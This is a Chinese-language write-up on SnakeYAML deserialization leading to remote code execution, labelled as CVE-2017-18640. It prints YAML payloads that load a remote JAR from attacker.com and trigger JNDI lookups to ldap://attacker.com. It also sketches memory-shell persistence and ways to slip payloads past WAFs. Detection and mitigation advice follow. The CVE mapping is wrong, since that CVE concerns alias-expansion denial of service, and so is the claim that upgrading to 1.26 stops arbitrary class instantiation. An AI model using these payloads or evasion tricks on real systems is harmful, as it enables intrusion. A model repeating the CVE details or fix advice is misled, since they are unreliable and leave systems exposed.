CVE-2017-18640: SnakeYAML 反序列化漏洞深度分析

0x00 漏洞背景与详情

  • CVE ID: CVE-2017-18640
  • 受影响组件: SnakeYAML (Java 生态中最流行的 YAML 解析库)
  • 受影响版本: SnakeYAML < 1.26
  • 漏洞类型: 反序列化 / 不安全的对象实例化
  • 危险等级: 极高危 (Critical, CVSS 9.8)

CVE-2017-18640 是 Java 领域极为经典且影响深远的反序列化漏洞。由于大量主流框架(如 Spring Boot)依赖 SnakeYAML 进行配置解析或数据交互,该漏洞的影响面极广。漏洞的核心在于 SnakeYAML 在默认配置下,允许通过特定的 YAML 标签(Tags)在反序列化时实例化任意 Classpath 中的 Java 类,从而导致远程代码执行 (RCE)。

0x01 漏洞原理分析

SnakeYAML 遵循 YAML 1.1 规范,支持“显式类型标记”(Explicit Tags)。在 YAML 文档中,可以使用 !! 语法后接完整的 Java 类名来强制指定数据的反序列化类型。

漏洞触发逻辑

  1. SnakeYAML 的默认 Constructor(构造器)在解析包含 !! 标签的节点时,会尝试通过反射调用目标类的构造函数进行实例化。
  2. 在 SnakeYAML 1.26 之前的版本中,默认构造器没有对允许实例化的类进行任何白名单或黑名单限制
  3. 攻击者可以利用这一特性,传入恶意的 !! 类名和特定的初始化参数,诱导应用程序实例化具有危险副作用的 Gadget 类,从而触发代码执行。

0x02 POC 与基础利用案例

在利用该漏洞时,最著名的 Gadget 链是基于 JDK 原生类 javax.script.ScriptEngineManager 的,该利用链无需依赖任何第三方库

1. 经典 POC 示例

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://attacker.com/exploit.jar"]
  ]]
]

2. 执行逻辑拆解

  1. 攻击者在公网服务器准备一个恶意 JAR 包,该 JAR 包利用 Java SPI 机制,在 META-INF/services/javax.script.ScriptEngineFactory 文件中注册了一个恶意的工厂类,并将执行命令的代码写入恶意类的静态代码块或构造函数中。
  2. 目标系统使用 new Yaml().load(payload) 解析上述 YAML 字符串。
  3. SnakeYAML 依次实例化 URLURLClassLoader,并将恶意 URL 传入。
  4. 随后实例化 ScriptEngineManager,由于其机制,它会使用传入的 URLClassLoader 去加载远程的 JAR 包并触发 SPI 注册逻辑。
  5. 恶意类被加载并实例化,代码执行完成。

0x03 高级利用姿势与实战场景

1. 不出网环境利用 (JNDI 注入 / 本地 Gadget)

如果目标机器无法访问外网,ScriptEngineManager 链将失效。此时可尝试其他本地 Gadget:

  • JNDI 注入
    !!com.sun.rowset.JdbcRowSetImpl
    dataSourceName: "ldap://attacker.com/Exploit"
    autoCommit: true
  • 本地类触发:利用 Classpath 中已有的组件,如 org.springframework.beans.factory.config.PropertyPathFactoryBean 结合 JNDI,或者 C3P0JndiRefForwardingDataSource

2. 内存马 (Memory Shell) 注入

获取 RCE 权限后,为了持久化隐藏,攻击者常通过加载远程 JAR 或直接在本地利用链中编写恶意逻辑,通过反射机制(获取 StandardContext)在当前 Web 容器中动态注册 FilterServletController 型的内存马。

3. WAF 与特征检测绕过

由于 !!ScriptEngineManager 等特征过于明显,实战中常常需要绕过 WAF:

  • YAML 语法混淆:利用 YAML 的锚点 (&) 和引用 (*) 语法打断连续关键字。
  • 多行折叠:使用 |> 语法改变 Payload 结构布局。
  • Unicode 转义:对关键的 Java 类名进行 Unicode 编码转义,以绕过简单的正则匹配。

0x04 应急排查与日志痕迹分析

在遭遇攻击时,防守方应重点关注以下排查维度:

1. 流量与日志审计

  • 特征匹配:在 WAF、Nginx 日志或应用 Access 日志中,检索包含 !!javax.script.ScriptEngineManagerjava.net.URLClassLoaderJdbcRowSetImpl 的请求数据。
  • 解析错误日志:如果 Payload 构造错误或类找不到,应用日志中会抛出 org.yaml.snakeyaml.constructor.ConstructorException 异常。

2. 网络外联分析

  • 检查应用服务器是否有异常的主动外联记录,特别是向未知 IP 的 80/443 端口发起下载 JAR 包的 HTTP 请求,或者向外发起 1099 (RMI)、1389 (LDAP) 端口的请求。

3. 主机与进程检查

  • 检查 Java 进程的子进程树,确认是否出现了 sh, bash, cmd.execalc.exe 等非预期的命令执行。
  • 检查操作系统的临时目录(如 /tmp)是否有随机生成的、被动态下载执行的 JAR 包。

0x05 修复与防御建议

  1. 升级组件(强烈推荐): 升级 SnakeYAML 到 1.26 或更高版本。
  2. 启用 SafeConstructor: 在代码中实例化 Yaml 时,强制使用 SafeConstructor,它只允许实例化 Java 原生基本类型,彻底杜绝了任意类实例化漏洞。
    Yaml yaml = new Yaml(new SafeConstructor());
  3. 白名单防御: 如果业务逻辑确实需要解析自定义的 Java 类,必须继承 Constructor 类并重写相关的类检查逻辑,实施严格的白名单控制。

0x06 参考资料